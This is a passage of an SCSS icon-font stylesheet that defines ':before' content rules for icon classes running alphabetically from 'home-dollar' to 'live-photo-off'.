$ti-icon-home-dollar;\n}\n\n.#{$ti-prefix}-home-dot:before {\n  content: $ti-icon-home-dot;\n}\n\n.#{$ti-prefix}-home-down:before {\n  content: $ti-icon-home-down;\n}\n\n.#{$ti-prefix}-home-eco:before {\n  content: $ti-icon-home-eco;\n}\n\n.#{$ti-prefix}-home-edit:before {\n  content: $ti-icon-home-edit;\n}\n\n.#{$ti-prefix}-home-exclamation:before {\n  content: $ti-icon-home-exclamation;\n}\n\n.#{$ti-prefix}-home-filled:before {\n  content: $ti-icon-home-filled;\n}\n\n.#{$ti-prefix}-home-hand:before {\n  content: $ti-icon-home-hand;\n}\n\n.#{$ti-prefix}-home-heart:before {\n  content: $ti-icon-home-heart;\n}\n\n.#{$ti-prefix}-home-infinity:before {\n  content: $ti-icon-home-infinity;\n}\n\n.#{$ti-prefix}-home-link:before {\n  content: $ti-icon-home-link;\n}\n\n.#{$ti-prefix}-home-minus:before {\n  content: $ti-icon-home-minus;\n}\n\n.#{$ti-prefix}-home-move:before {\n  content: $ti-icon-home-move;\n}\n\n.#{$ti-prefix}-home-off:before {\n  content: $ti-icon-home-off;\n}\n\n.#{$ti-prefix}-home-plus:before {\n  content: $ti-icon-home-plus;\n}\n\n.#{$ti-prefix}-home-question:before {\n  content: $ti-icon-home-question;\n}\n\n.#{$ti-prefix}-home-ribbon:before {\n  content: $ti-icon-home-ribbon;\n}\n\n.#{$ti-prefix}-home-search:before {\n  content: $ti-icon-home-search;\n}\n\n.#{$ti-prefix}-home-share:before {\n  content: $ti-icon-home-share;\n}\n\n.#{$ti-prefix}-home-shield:before {\n  content: $ti-icon-home-shield;\n}\n\n.#{$ti-prefix}-home-signal:before {\n  content: $ti-icon-home-signal;\n}\n\n.#{$ti-prefix}-home-star:before {\n  content: $ti-icon-home-star;\n}\n\n.#{$ti-prefix}-home-stats:before {\n  content: $ti-icon-home-stats;\n}\n\n.#{$ti-prefix}-home-up:before {\n  content: $ti-icon-home-up;\n}\n\n.#{$ti-prefix}-home-x:before {\n  content: $ti-icon-home-x;\n}\n\n.#{$ti-prefix}-horse:before {\n  content: $ti-icon-horse;\n}\n\n.#{$ti-prefix}-horse-toy:before {\n  content: $ti-icon-horse-toy;\n}\n\n.#{$ti-prefix}-horseshoe:before {\n  content: $ti-icon-horseshoe;\n}\n\n.#{$ti-prefix}-hospital:before {\n  content: $ti-icon-hospital;\n}\n\n.#{$ti-prefix}-hospital-circle:before {\n  content: $ti-icon-hospital-circle;\n}\n\n.#{$ti-prefix}-hotel-service:before {\n  content: $ti-icon-hotel-service;\n}\n\n.#{$ti-prefix}-hourglass:before {\n  content: $ti-icon-hourglass;\n}\n\n.#{$ti-prefix}-hourglass-empty:before {\n  content: $ti-icon-hourglass-empty;\n}\n\n.#{$ti-prefix}-hourglass-filled:before {\n  content: $ti-icon-hourglass-filled;\n}\n\n.#{$ti-prefix}-hourglass-high:before {\n  content: $ti-icon-hourglass-high;\n}\n\n.#{$ti-prefix}-hourglass-low:before {\n  content: $ti-icon-hourglass-low;\n}\n\n.#{$ti-prefix}-hourglass-off:before {\n  content: $ti-icon-hourglass-off;\n}\n\n.#{$ti-prefix}-hours-12:before {\n  content: $ti-icon-hours-12;\n}\n\n.#{$ti-prefix}-hours-24:before {\n  content: $ti-icon-hours-24;\n}\n\n.#{$ti-prefix}-html:before {\n  content: $ti-icon-html;\n}\n\n.#{$ti-prefix}-http-connect:before {\n  content: $ti-icon-http-connect;\n}\n\n.#{$ti-prefix}-http-delete:before {\n  content: $ti-icon-http-delete;\n}\n\n.#{$ti-prefix}-http-get:before {\n  content: $ti-icon-http-get;\n}\n\n.#{$ti-prefix}-http-head:before {\n  content: $ti-icon-http-head;\n}\n\n.#{$ti-prefix}-http-options:before {\n  content: $ti-icon-http-options;\n}\n\n.#{$ti-prefix}-http-patch:before {\n  content: $ti-icon-http-patch;\n}\n\n.#{$ti-prefix}-http-post:before {\n  content: $ti-icon-http-post;\n}\n\n.#{$ti-prefix}-http-put:before {\n  content: $ti-icon-http-put;\n}\n\n.#{$ti-prefix}-http-que:before {\n  content: $ti-icon-http-que;\n}\n\n.#{$ti-prefix}-http-trace:before {\n  content: $ti-icon-http-trace;\n}\n\n.#{$ti-prefix}-ice-cream:before {\n  content: $ti-icon-ice-cream;\n}\n\n.#{$ti-prefix}-ice-cream-2:before {\n  content: $ti-icon-ice-cream-2;\n}\n\n.#{$ti-prefix}-ice-cream-off:before {\n  content: $ti-icon-ice-cream-off;\n}\n\n.#{$ti-prefix}-ice-skating:before {\n  content: $ti-icon-ice-skating;\n}\n\n.#{$ti-prefix}-icons:before {\n  content: $ti-icon-icons;\n}\n\n.#{$ti-prefix}-icons-off:before {\n  content: $ti-icon-icons-off;\n}\n\n.#{$ti-prefix}-id:before {\n  content: $ti-icon-id;\n}\n\n.#{$ti-prefix}-id-badge:before {\n  content: $ti-icon-id-badge;\n}\n\n.#{$ti-prefix}-id-badge-2:before {\n  content: $ti-icon-id-badge-2;\n}\n\n.#{$ti-prefix}-id-badge-off:before {\n  content: $ti-icon-id-badge-off;\n}\n\n.#{$ti-prefix}-id-off:before {\n  content: $ti-icon-id-off;\n}\n\n.#{$ti-prefix}-image-in-picture:before {\n  content: $ti-icon-image-in-picture;\n}\n\n.#{$ti-prefix}-inbox:before {\n  content: $ti-icon-inbox;\n}\n\n.#{$ti-prefix}-inbox-off:before {\n  content: $ti-icon-inbox-off;\n}\n\n.#{$ti-prefix}-indent-decrease:before {\n  content: $ti-icon-indent-decrease;\n}\n\n.#{$ti-prefix}-indent-increase:before {\n  content: $ti-icon-indent-increase;\n}\n\n.#{$ti-prefix}-infinity:before {\n  content: $ti-icon-infinity;\n}\n\n.#{$ti-prefix}-infinity-off:before {\n  content: $ti-icon-infinity-off;\n}\n\n.#{$ti-prefix}-info-circle:before {\n  content: $ti-icon-info-circle;\n}\n\n.#{$ti-prefix}-info-circle-filled:before {\n  content: $ti-icon-info-circle-filled;\n}\n\n.#{$ti-prefix}-info-hexagon:before {\n  content: $ti-icon-info-hexagon;\n}\n\n.#{$ti-prefix}-info-hexagon-filled:before {\n  content: $ti-icon-info-hexagon-filled;\n}\n\n.#{$ti-prefix}-info-octagon:before {\n  content: $ti-icon-info-octagon;\n}\n\n.#{$ti-prefix}-info-octagon-filled:before {\n  content: $ti-icon-info-octagon-filled;\n}\n\n.#{$ti-prefix}-info-small:before {\n  content: $ti-icon-info-small;\n}\n\n.#{$ti-prefix}-info-square:before {\n  content: $ti-icon-info-square;\n}\n\n.#{$ti-prefix}-info-square-filled:before {\n  content: $ti-icon-info-square-filled;\n}\n\n.#{$ti-prefix}-info-square-rounded:before {\n  content: $ti-icon-info-square-rounded;\n}\n\n.#{$ti-prefix}-info-square-rounded-filled:before {\n  content: $ti-icon-info-square-rounded-filled;\n}\n\n.#{$ti-prefix}-info-triangle:before {\n  content: $ti-icon-info-triangle;\n}\n\n.#{$ti-prefix}-info-triangle-filled:before {\n  content: $ti-icon-info-triangle-filled;\n}\n\n.#{$ti-prefix}-inner-shadow-bottom:before {\n  content: $ti-icon-inner-shadow-bottom;\n}\n\n.#{$ti-prefix}-inner-shadow-bottom-filled:before {\n  content: $ti-icon-inner-shadow-bottom-filled;\n}\n\n.#{$ti-prefix}-inner-shadow-bottom-left:before {\n  content: $ti-icon-inner-shadow-bottom-left;\n}\n\n.#{$ti-prefix}-inner-shadow-bottom-left-filled:before {\n  content: $ti-icon-inner-shadow-bottom-left-filled;\n}\n\n.#{$ti-prefix}-inner-shadow-bottom-right:before {\n  content: $ti-icon-inner-shadow-bottom-right;\n}\n\n.#{$ti-prefix}-inner-shadow-bottom-right-filled:before {\n  content: $ti-icon-inner-shadow-bottom-right-filled;\n}\n\n.#{$ti-prefix}-inner-shadow-left:before {\n  content: $ti-icon-inner-shadow-left;\n}\n\n.#{$ti-prefix}-inner-shadow-left-filled:before {\n  content: $ti-icon-inner-shadow-left-filled;\n}\n\n.#{$ti-prefix}-inner-shadow-right:before {\n  content: $ti-icon-inner-shadow-right;\n}\n\n.#{$ti-prefix}-inner-shadow-right-filled:before {\n  content: $ti-icon-inner-shadow-right-filled;\n}\n\n.#{$ti-prefix}-inner-shadow-top:before {\n  content: $ti-icon-inner-shadow-top;\n}\n\n.#{$ti-prefix}-inner-shadow-top-filled:before {\n  content: $ti-icon-inner-shadow-top-filled;\n}\n\n.#{$ti-prefix}-inner-shadow-top-left:before {\n  content: $ti-icon-inner-shadow-top-left;\n}\n\n.#{$ti-prefix}-inner-shadow-top-left-filled:before {\n  content: $ti-icon-inner-shadow-top-left-filled;\n}\n\n.#{$ti-prefix}-inner-shadow-top-right:before {\n  content: $ti-icon-inner-shadow-top-right;\n}\n\n.#{$ti-prefix}-inner-shadow-top-right-filled:before {\n  content: $ti-icon-inner-shadow-top-right-filled;\n}\n\n.#{$ti-prefix}-input-ai:before {\n  content: $ti-icon-input-ai;\n}\n\n.#{$ti-prefix}-input-check:before {\n  content: $ti-icon-input-check;\n}\n\n.#{$ti-prefix}-input-search:before {\n  content: $ti-icon-input-search;\n}\n\n.#{$ti-prefix}-input-x:before {\n  content: $ti-icon-input-x;\n}\n\n.#{$ti-prefix}-ironing:before {\n  content: $ti-icon-ironing;\n}\n\n.#{$ti-prefix}-ironing-1:before {\n  content: $ti-icon-ironing-1;\n}\n\n.#{$ti-prefix}-ironing-2:before {\n  content: $ti-icon-ironing-2;\n}\n\n.#{$ti-prefix}-ironing-3:before {\n  content: $ti-icon-ironing-3;\n}\n\n.#{$ti-prefix}-ironing-filled:before {\n  content: $ti-icon-ironing-filled;\n}\n\n.#{$ti-prefix}-ironing-off:before {\n  content: $ti-icon-ironing-off;\n}\n\n.#{$ti-prefix}-ironing-steam:before {\n  content: $ti-icon-ironing-steam;\n}\n\n.#{$ti-prefix}-ironing-steam-off:before {\n  content: $ti-icon-ironing-steam-off;\n}\n\n.#{$ti-prefix}-irregular-polyhedron:before {\n  content: $ti-icon-irregular-polyhedron;\n}\n\n.#{$ti-prefix}-irregular-polyhedron-off:before {\n  content: $ti-icon-irregular-polyhedron-off;\n}\n\n.#{$ti-prefix}-irregular-polyhedron-plus:before {\n  content: $ti-icon-irregular-polyhedron-plus;\n}\n\n.#{$ti-prefix}-italic:before {\n  content: $ti-icon-italic;\n}\n\n.#{$ti-prefix}-jacket:before {\n  content: $ti-icon-jacket;\n}\n\n.#{$ti-prefix}-jetpack:before {\n  content: $ti-icon-jetpack;\n}\n\n.#{$ti-prefix}-jetpack-filled:before {\n  content: $ti-icon-jetpack-filled;\n}\n\n.#{$ti-prefix}-jewish-star:before {\n  content: $ti-icon-jewish-star;\n}\n\n.#{$ti-prefix}-jewish-star-filled:before {\n  content: $ti-icon-jewish-star-filled;\n}\n\n.#{$ti-prefix}-jpg:before {\n  content: $ti-icon-jpg;\n}\n\n.#{$ti-prefix}-json:before {\n  content: $ti-icon-json;\n}\n\n.#{$ti-prefix}-jump-rope:before {\n  content: $ti-icon-jump-rope;\n}\n\n.#{$ti-prefix}-karate:before {\n  content: $ti-icon-karate;\n}\n\n.#{$ti-prefix}-kayak:before {\n  content: $ti-icon-kayak;\n}\n\n.#{$ti-prefix}-kerning:before {\n  content: $ti-icon-kerning;\n}\n\n.#{$ti-prefix}-key:before {\n  content: $ti-icon-key;\n}\n\n.#{$ti-prefix}-key-filled:before {\n  content: $ti-icon-key-filled;\n}\n\n.#{$ti-prefix}-key-off:before {\n  content: $ti-icon-key-off;\n}\n\n.#{$ti-prefix}-keyboard:before {\n  content: $ti-icon-keyboard;\n}\n\n.#{$ti-prefix}-keyboard-hide:before {\n  content: $ti-icon-keyboard-hide;\n}\n\n.#{$ti-prefix}-keyboard-off:before {\n  content: $ti-icon-keyboard-off;\n}\n\n.#{$ti-prefix}-keyboard-show:before {\n  content: $ti-icon-keyboard-show;\n}\n\n.#{$ti-prefix}-keyframe:before {\n  content: $ti-icon-keyframe;\n}\n\n.#{$ti-prefix}-keyframe-align-center:before {\n  content: $ti-icon-keyframe-align-center;\n}\n\n.#{$ti-prefix}-keyframe-align-center-filled:before {\n  content: $ti-icon-keyframe-align-center-filled;\n}\n\n.#{$ti-prefix}-keyframe-align-horizontal:before {\n  content: $ti-icon-keyframe-align-horizontal;\n}\n\n.#{$ti-prefix}-keyframe-align-horizontal-filled:before {\n  content: $ti-icon-keyframe-align-horizontal-filled;\n}\n\n.#{$ti-prefix}-keyframe-align-vertical:before {\n  content: $ti-icon-keyframe-align-vertical;\n}\n\n.#{$ti-prefix}-keyframe-align-vertical-filled:before {\n  content: $ti-icon-keyframe-align-vertical-filled;\n}\n\n.#{$ti-prefix}-keyframe-filled:before {\n  content: $ti-icon-keyframe-filled;\n}\n\n.#{$ti-prefix}-keyframes:before {\n  content: $ti-icon-keyframes;\n}\n\n.#{$ti-prefix}-keyframes-filled:before {\n  content: $ti-icon-keyframes-filled;\n}\n\n.#{$ti-prefix}-ladder:before {\n  content: $ti-icon-ladder;\n}\n\n.#{$ti-prefix}-ladder-off:before {\n  content: $ti-icon-ladder-off;\n}\n\n.#{$ti-prefix}-ladle:before {\n  content: $ti-icon-ladle;\n}\n\n.#{$ti-prefix}-lambda:before {\n  content: $ti-icon-lambda;\n}\n\n.#{$ti-prefix}-lamp:before {\n  content: $ti-icon-lamp;\n}\n\n.#{$ti-prefix}-lamp-2:before {\n  content: $ti-icon-lamp-2;\n}\n\n.#{$ti-prefix}-lamp-off:before {\n  content: $ti-icon-lamp-off;\n}\n\n.#{$ti-prefix}-lane:before {\n  content: $ti-icon-lane;\n}\n\n.#{$ti-prefix}-language:before {\n  content: $ti-icon-language;\n}\n\n.#{$ti-prefix}-language-hiragana:before {\n  content: $ti-icon-language-hiragana;\n}\n\n.#{$ti-prefix}-language-katakana:before {\n  content: $ti-icon-language-katakana;\n}\n\n.#{$ti-prefix}-language-off:before {\n  content: $ti-icon-language-off;\n}\n\n.#{$ti-prefix}-lasso:before {\n  content: $ti-icon-lasso;\n}\n\n.#{$ti-prefix}-lasso-off:before {\n  content: $ti-icon-lasso-off;\n}\n\n.#{$ti-prefix}-lasso-polygon:before {\n  content: $ti-icon-lasso-polygon;\n}\n\n.#{$ti-prefix}-layers-difference:before {\n  content: $ti-icon-layers-difference;\n}\n\n.#{$ti-prefix}-layers-intersect:before {\n  content: $ti-icon-layers-intersect;\n}\n\n.#{$ti-prefix}-layers-intersect-2:before {\n  content: $ti-icon-layers-intersect-2;\n}\n\n.#{$ti-prefix}-layers-linked:before {\n  content: $ti-icon-layers-linked;\n}\n\n.#{$ti-prefix}-layers-off:before {\n  content: $ti-icon-layers-off;\n}\n\n.#{$ti-prefix}-layers-subtract:before {\n  content: $ti-icon-layers-subtract;\n}\n\n.#{$ti-prefix}-layers-union:before {\n  content: $ti-icon-layers-union;\n}\n\n.#{$ti-prefix}-layout:before {\n  content: $ti-icon-layout;\n}\n\n.#{$ti-prefix}-layout-2:before {\n  content: $ti-icon-layout-2;\n}\n\n.#{$ti-prefix}-layout-2-filled:before {\n  content: $ti-icon-layout-2-filled;\n}\n\n.#{$ti-prefix}-layout-align-bottom:before {\n  content: $ti-icon-layout-align-bottom;\n}\n\n.#{$ti-prefix}-layout-align-bottom-filled:before {\n  content: $ti-icon-layout-align-bottom-filled;\n}\n\n.#{$ti-prefix}-layout-align-center:before {\n  content: $ti-icon-layout-align-center;\n}\n\n.#{$ti-prefix}-layout-align-center-filled:before {\n  content: $ti-icon-layout-align-center-filled;\n}\n\n.#{$ti-prefix}-layout-align-left:before {\n  content: $ti-icon-layout-align-left;\n}\n\n.#{$ti-prefix}-layout-align-left-filled:before {\n  content: $ti-icon-layout-align-left-filled;\n}\n\n.#{$ti-prefix}-layout-align-middle:before {\n  content: $ti-icon-layout-align-middle;\n}\n\n.#{$ti-prefix}-layout-align-middle-filled:before {\n  content: $ti-icon-layout-align-middle-filled;\n}\n\n.#{$ti-prefix}-layout-align-right:before {\n  content: $ti-icon-layout-align-right;\n}\n\n.#{$ti-prefix}-layout-align-right-filled:before {\n  content: $ti-icon-layout-align-right-filled;\n}\n\n.#{$ti-prefix}-layout-align-top:before {\n  content: $ti-icon-layout-align-top;\n}\n\n.#{$ti-prefix}-layout-align-top-filled:before {\n  content: $ti-icon-layout-align-top-filled;\n}\n\n.#{$ti-prefix}-layout-board:before {\n  content: $ti-icon-layout-board;\n}\n\n.#{$ti-prefix}-layout-board-split:before {\n  content: $ti-icon-layout-board-split;\n}\n\n.#{$ti-prefix}-layout-bottombar:before {\n  content: $ti-icon-layout-bottombar;\n}\n\n.#{$ti-prefix}-layout-bottombar-collapse:before {\n  content: $ti-icon-layout-bottombar-collapse;\n}\n\n.#{$ti-prefix}-layout-bottombar-collapse-filled:before {\n  content: $ti-icon-layout-bottombar-collapse-filled;\n}\n\n.#{$ti-prefix}-layout-bottombar-expand:before {\n  content: $ti-icon-layout-bottombar-expand;\n}\n\n.#{$ti-prefix}-layout-bottombar-expand-filled:before {\n  content: $ti-icon-layout-bottombar-expand-filled;\n}\n\n.#{$ti-prefix}-layout-bottombar-filled:before {\n  content: $ti-icon-layout-bottombar-filled;\n}\n\n.#{$ti-prefix}-layout-bottombar-inactive:before {\n  content: $ti-icon-layout-bottombar-inactive;\n}\n\n.#{$ti-prefix}-layout-cards:before {\n  content: $ti-icon-layout-cards;\n}\n\n.#{$ti-prefix}-layout-cards-filled:before {\n  content: $ti-icon-layout-cards-filled;\n}\n\n.#{$ti-prefix}-layout-collage:before {\n  content: $ti-icon-layout-collage;\n}\n\n.#{$ti-prefix}-layout-columns:before {\n  content: $ti-icon-layout-columns;\n}\n\n.#{$ti-prefix}-layout-dashboard:before {\n  content: $ti-icon-layout-dashboard;\n}\n\n.#{$ti-prefix}-layout-dashboard-filled:before {\n  content: $ti-icon-layout-dashboard-filled;\n}\n\n.#{$ti-prefix}-layout-distribute-horizontal:before {\n  content: $ti-icon-layout-distribute-horizontal;\n}\n\n.#{$ti-prefix}-layout-distribute-horizontal-filled:before {\n  content: $ti-icon-layout-distribute-horizontal-filled;\n}\n\n.#{$ti-prefix}-layout-distribute-vertical:before {\n  content: $ti-icon-layout-distribute-vertical;\n}\n\n.#{$ti-prefix}-layout-distribute-vertical-filled:before {\n  content: $ti-icon-layout-distribute-vertical-filled;\n}\n\n.#{$ti-prefix}-layout-filled:before {\n  content: $ti-icon-layout-filled;\n}\n\n.#{$ti-prefix}-layout-grid:before {\n  content: $ti-icon-layout-grid;\n}\n\n.#{$ti-prefix}-layout-grid-add:before {\n  content: $ti-icon-layout-grid-add;\n}\n\n.#{$ti-prefix}-layout-grid-filled:before {\n  content: $ti-icon-layout-grid-filled;\n}\n\n.#{$ti-prefix}-layout-grid-remove:before {\n  content: $ti-icon-layout-grid-remove;\n}\n\n.#{$ti-prefix}-layout-kanban:before {\n  content: $ti-icon-layout-kanban;\n}\n\n.#{$ti-prefix}-layout-kanban-filled:before {\n  content: $ti-icon-layout-kanban-filled;\n}\n\n.#{$ti-prefix}-layout-list:before {\n  content: $ti-icon-layout-list;\n}\n\n.#{$ti-prefix}-layout-list-filled:before {\n  content: $ti-icon-layout-list-filled;\n}\n\n.#{$ti-prefix}-layout-navbar:before {\n  content: $ti-icon-layout-navbar;\n}\n\n.#{$ti-prefix}-layout-navbar-collapse:before {\n  content: $ti-icon-layout-navbar-collapse;\n}\n\n.#{$ti-prefix}-layout-navbar-collapse-filled:before {\n  content: $ti-icon-layout-navbar-collapse-filled;\n}\n\n.#{$ti-prefix}-layout-navbar-expand:before {\n  content: $ti-icon-layout-navbar-expand;\n}\n\n.#{$ti-prefix}-layout-navbar-expand-filled:before {\n  content: $ti-icon-layout-navbar-expand-filled;\n}\n\n.#{$ti-prefix}-layout-navbar-filled:before {\n  content: $ti-icon-layout-navbar-filled;\n}\n\n.#{$ti-prefix}-layout-navbar-inactive:before {\n  content: $ti-icon-layout-navbar-inactive;\n}\n\n.#{$ti-prefix}-layout-off:before {\n  content: $ti-icon-layout-off;\n}\n\n.#{$ti-prefix}-layout-rows:before {\n  content: $ti-icon-layout-rows;\n}\n\n.#{$ti-prefix}-layout-sidebar:before {\n  content: $ti-icon-layout-sidebar;\n}\n\n.#{$ti-prefix}-layout-sidebar-filled:before {\n  content: $ti-icon-layout-sidebar-filled;\n}\n\n.#{$ti-prefix}-layout-sidebar-inactive:before {\n  content: $ti-icon-layout-sidebar-inactive;\n}\n\n.#{$ti-prefix}-layout-sidebar-left-collapse:before {\n  content: $ti-icon-layout-sidebar-left-collapse;\n}\n\n.#{$ti-prefix}-layout-sidebar-left-collapse-filled:before {\n  content: $ti-icon-layout-sidebar-left-collapse-filled;\n}\n\n.#{$ti-prefix}-layout-sidebar-left-expand:before {\n  content: $ti-icon-layout-sidebar-left-expand;\n}\n\n.#{$ti-prefix}-layout-sidebar-left-expand-filled:before {\n  content: $ti-icon-layout-sidebar-left-expand-filled;\n}\n\n.#{$ti-prefix}-layout-sidebar-right:before {\n  content: $ti-icon-layout-sidebar-right;\n}\n\n.#{$ti-prefix}-layout-sidebar-right-collapse:before {\n  content: $ti-icon-layout-sidebar-right-collapse;\n}\n\n.#{$ti-prefix}-layout-sidebar-right-collapse-filled:before {\n  content: $ti-icon-layout-sidebar-right-collapse-filled;\n}\n\n.#{$ti-prefix}-layout-sidebar-right-expand:before {\n  content: $ti-icon-layout-sidebar-right-expand;\n}\n\n.#{$ti-prefix}-layout-sidebar-right-expand-filled:before {\n  content: $ti-icon-layout-sidebar-right-expand-filled;\n}\n\n.#{$ti-prefix}-layout-sidebar-right-filled:before {\n  content: $ti-icon-layout-sidebar-right-filled;\n}\n\n.#{$ti-prefix}-layout-sidebar-right-inactive:before {\n  content: $ti-icon-layout-sidebar-right-inactive;\n}\n\n.#{$ti-prefix}-leaf:before {\n  content: $ti-icon-leaf;\n}\n\n.#{$ti-prefix}-leaf-off:before {\n  content: $ti-icon-leaf-off;\n}\n\n.#{$ti-prefix}-lego:before {\n  content: $ti-icon-lego;\n}\n\n.#{$ti-prefix}-lego-filled:before {\n  content: $ti-icon-lego-filled;\n}\n\n.#{$ti-prefix}-lego-off:before {\n  content: $ti-icon-lego-off;\n}\n\n.#{$ti-prefix}-lemon:before {\n  content: $ti-icon-lemon;\n}\n\n.#{$ti-prefix}-lemon-2:before {\n  content: $ti-icon-lemon-2;\n}\n\n.#{$ti-prefix}-letter-a:before {\n  content: $ti-icon-letter-a;\n}\n\n.#{$ti-prefix}-letter-a-small:before {\n  content: $ti-icon-letter-a-small;\n}\n\n.#{$ti-prefix}-letter-b:before {\n  content: $ti-icon-letter-b;\n}\n\n.#{$ti-prefix}-letter-b-small:before {\n  content: $ti-icon-letter-b-small;\n}\n\n.#{$ti-prefix}-letter-c:before {\n  content: $ti-icon-letter-c;\n}\n\n.#{$ti-prefix}-letter-c-small:before {\n  content: $ti-icon-letter-c-small;\n}\n\n.#{$ti-prefix}-letter-case:before {\n  content: $ti-icon-letter-case;\n}\n\n.#{$ti-prefix}-letter-case-lower:before {\n  content: $ti-icon-letter-case-lower;\n}\n\n.#{$ti-prefix}-letter-case-toggle:before {\n  content: $ti-icon-letter-case-toggle;\n}\n\n.#{$ti-prefix}-letter-case-upper:before {\n  content: $ti-icon-letter-case-upper;\n}\n\n.#{$ti-prefix}-letter-d:before {\n  content: $ti-icon-letter-d;\n}\n\n.#{$ti-prefix}-letter-d-small:before {\n  content: $ti-icon-letter-d-small;\n}\n\n.#{$ti-prefix}-letter-e:before {\n  content: $ti-icon-letter-e;\n}\n\n.#{$ti-prefix}-letter-e-small:before {\n  content: $ti-icon-letter-e-small;\n}\n\n.#{$ti-prefix}-letter-f:before {\n  content: $ti-icon-letter-f;\n}\n\n.#{$ti-prefix}-letter-f-small:before {\n  content: $ti-icon-letter-f-small;\n}\n\n.#{$ti-prefix}-letter-g:before {\n  content: $ti-icon-letter-g;\n}\n\n.#{$ti-prefix}-letter-g-small:before {\n  content: $ti-icon-letter-g-small;\n}\n\n.#{$ti-prefix}-letter-h:before {\n  content: $ti-icon-letter-h;\n}\n\n.#{$ti-prefix}-letter-h-small:before {\n  content: $ti-icon-letter-h-small;\n}\n\n.#{$ti-prefix}-letter-i:before {\n  content: $ti-icon-letter-i;\n}\n\n.#{$ti-prefix}-letter-i-small:before {\n  content: $ti-icon-letter-i-small;\n}\n\n.#{$ti-prefix}-letter-j:before {\n  content: $ti-icon-letter-j;\n}\n\n.#{$ti-prefix}-letter-j-small:before {\n  content: $ti-icon-letter-j-small;\n}\n\n.#{$ti-prefix}-letter-k:before {\n  content: $ti-icon-letter-k;\n}\n\n.#{$ti-prefix}-letter-k-small:before {\n  content: $ti-icon-letter-k-small;\n}\n\n.#{$ti-prefix}-letter-l:before {\n  content: $ti-icon-letter-l;\n}\n\n.#{$ti-prefix}-letter-l-small:before {\n  content: $ti-icon-letter-l-small;\n}\n\n.#{$ti-prefix}-letter-m:before {\n  content: $ti-icon-letter-m;\n}\n\n.#{$ti-prefix}-letter-m-small:before {\n  content: $ti-icon-letter-m-small;\n}\n\n.#{$ti-prefix}-letter-n:before {\n  content: $ti-icon-letter-n;\n}\n\n.#{$ti-prefix}-letter-n-small:before {\n  content: $ti-icon-letter-n-small;\n}\n\n.#{$ti-prefix}-letter-o:before {\n  content: $ti-icon-letter-o;\n}\n\n.#{$ti-prefix}-letter-o-small:before {\n  content: $ti-icon-letter-o-small;\n}\n\n.#{$ti-prefix}-letter-p:before {\n  content: $ti-icon-letter-p;\n}\n\n.#{$ti-prefix}-letter-p-small:before {\n  content: $ti-icon-letter-p-small;\n}\n\n.#{$ti-prefix}-letter-q:before {\n  content: $ti-icon-letter-q;\n}\n\n.#{$ti-prefix}-letter-q-small:before {\n  content: $ti-icon-letter-q-small;\n}\n\n.#{$ti-prefix}-letter-r:before {\n  content: $ti-icon-letter-r;\n}\n\n.#{$ti-prefix}-letter-r-small:before {\n  content: $ti-icon-letter-r-small;\n}\n\n.#{$ti-prefix}-letter-s:before {\n  content: $ti-icon-letter-s;\n}\n\n.#{$ti-prefix}-letter-s-small:before {\n  content: $ti-icon-letter-s-small;\n}\n\n.#{$ti-prefix}-letter-spacing:before {\n  content: $ti-icon-letter-spacing;\n}\n\n.#{$ti-prefix}-letter-t:before {\n  content: $ti-icon-letter-t;\n}\n\n.#{$ti-prefix}-letter-t-small:before {\n  content: $ti-icon-letter-t-small;\n}\n\n.#{$ti-prefix}-letter-u:before {\n  content: $ti-icon-letter-u;\n}\n\n.#{$ti-prefix}-letter-u-small:before {\n  content: $ti-icon-letter-u-small;\n}\n\n.#{$ti-prefix}-letter-v:before {\n  content: $ti-icon-letter-v;\n}\n\n.#{$ti-prefix}-letter-v-small:before {\n  content: $ti-icon-letter-v-small;\n}\n\n.#{$ti-prefix}-letter-w:before {\n  content: $ti-icon-letter-w;\n}\n\n.#{$ti-prefix}-letter-w-small:before {\n  content: $ti-icon-letter-w-small;\n}\n\n.#{$ti-prefix}-letter-x:before {\n  content: $ti-icon-letter-x;\n}\n\n.#{$ti-prefix}-letter-x-small:before {\n  content: $ti-icon-letter-x-small;\n}\n\n.#{$ti-prefix}-letter-y:before {\n  content: $ti-icon-letter-y;\n}\n\n.#{$ti-prefix}-letter-y-small:before {\n  content: $ti-icon-letter-y-small;\n}\n\n.#{$ti-prefix}-letter-z:before {\n  content: $ti-icon-letter-z;\n}\n\n.#{$ti-prefix}-letter-z-small:before {\n  content: $ti-icon-letter-z-small;\n}\n\n.#{$ti-prefix}-library:before {\n  content: $ti-icon-library;\n}\n\n.#{$ti-prefix}-library-minus:before {\n  content: $ti-icon-library-minus;\n}\n\n.#{$ti-prefix}-library-photo:before {\n  content: $ti-icon-library-photo;\n}\n\n.#{$ti-prefix}-library-plus:before {\n  content: $ti-icon-library-plus;\n}\n\n.#{$ti-prefix}-license:before {\n  content: $ti-icon-license;\n}\n\n.#{$ti-prefix}-license-off:before {\n  content: $ti-icon-license-off;\n}\n\n.#{$ti-prefix}-lifebuoy:before {\n  content: $ti-icon-lifebuoy;\n}\n\n.#{$ti-prefix}-lifebuoy-off:before {\n  content: $ti-icon-lifebuoy-off;\n}\n\n.#{$ti-prefix}-lighter:before {\n  content: $ti-icon-lighter;\n}\n\n.#{$ti-prefix}-line:before {\n  content: $ti-icon-line;\n}\n\n.#{$ti-prefix}-line-dashed:before {\n  content: $ti-icon-line-dashed;\n}\n\n.#{$ti-prefix}-line-dotted:before {\n  content: $ti-icon-line-dotted;\n}\n\n.#{$ti-prefix}-line-height:before {\n  content: $ti-icon-line-height;\n}\n\n.#{$ti-prefix}-line-scan:before {\n  content: $ti-icon-line-scan;\n}\n\n.#{$ti-prefix}-link:before {\n  content: $ti-icon-link;\n}\n\n.#{$ti-prefix}-link-minus:before {\n  content: $ti-icon-link-minus;\n}\n\n.#{$ti-prefix}-link-off:before {\n  content: $ti-icon-link-off;\n}\n\n.#{$ti-prefix}-link-plus:before {\n  content: $ti-icon-link-plus;\n}\n\n.#{$ti-prefix}-list:before {\n  content: $ti-icon-list;\n}\n\n.#{$ti-prefix}-list-check:before {\n  content: $ti-icon-list-check;\n}\n\n.#{$ti-prefix}-list-details:before {\n  content: $ti-icon-list-details;\n}\n\n.#{$ti-prefix}-list-letters:before {\n  content: $ti-icon-list-letters;\n}\n\n.#{$ti-prefix}-list-numbers:before {\n  content: $ti-icon-list-numbers;\n}\n\n.#{$ti-prefix}-list-search:before {\n  content: $ti-icon-list-search;\n}\n\n.#{$ti-prefix}-list-tree:before {\n  content: $ti-icon-list-tree;\n}\n\n.#{$ti-prefix}-live-photo:before {\n  content: $ti-icon-live-photo;\n}\n\n.#{$ti-prefix}-live-photo-off:before {\n  content: 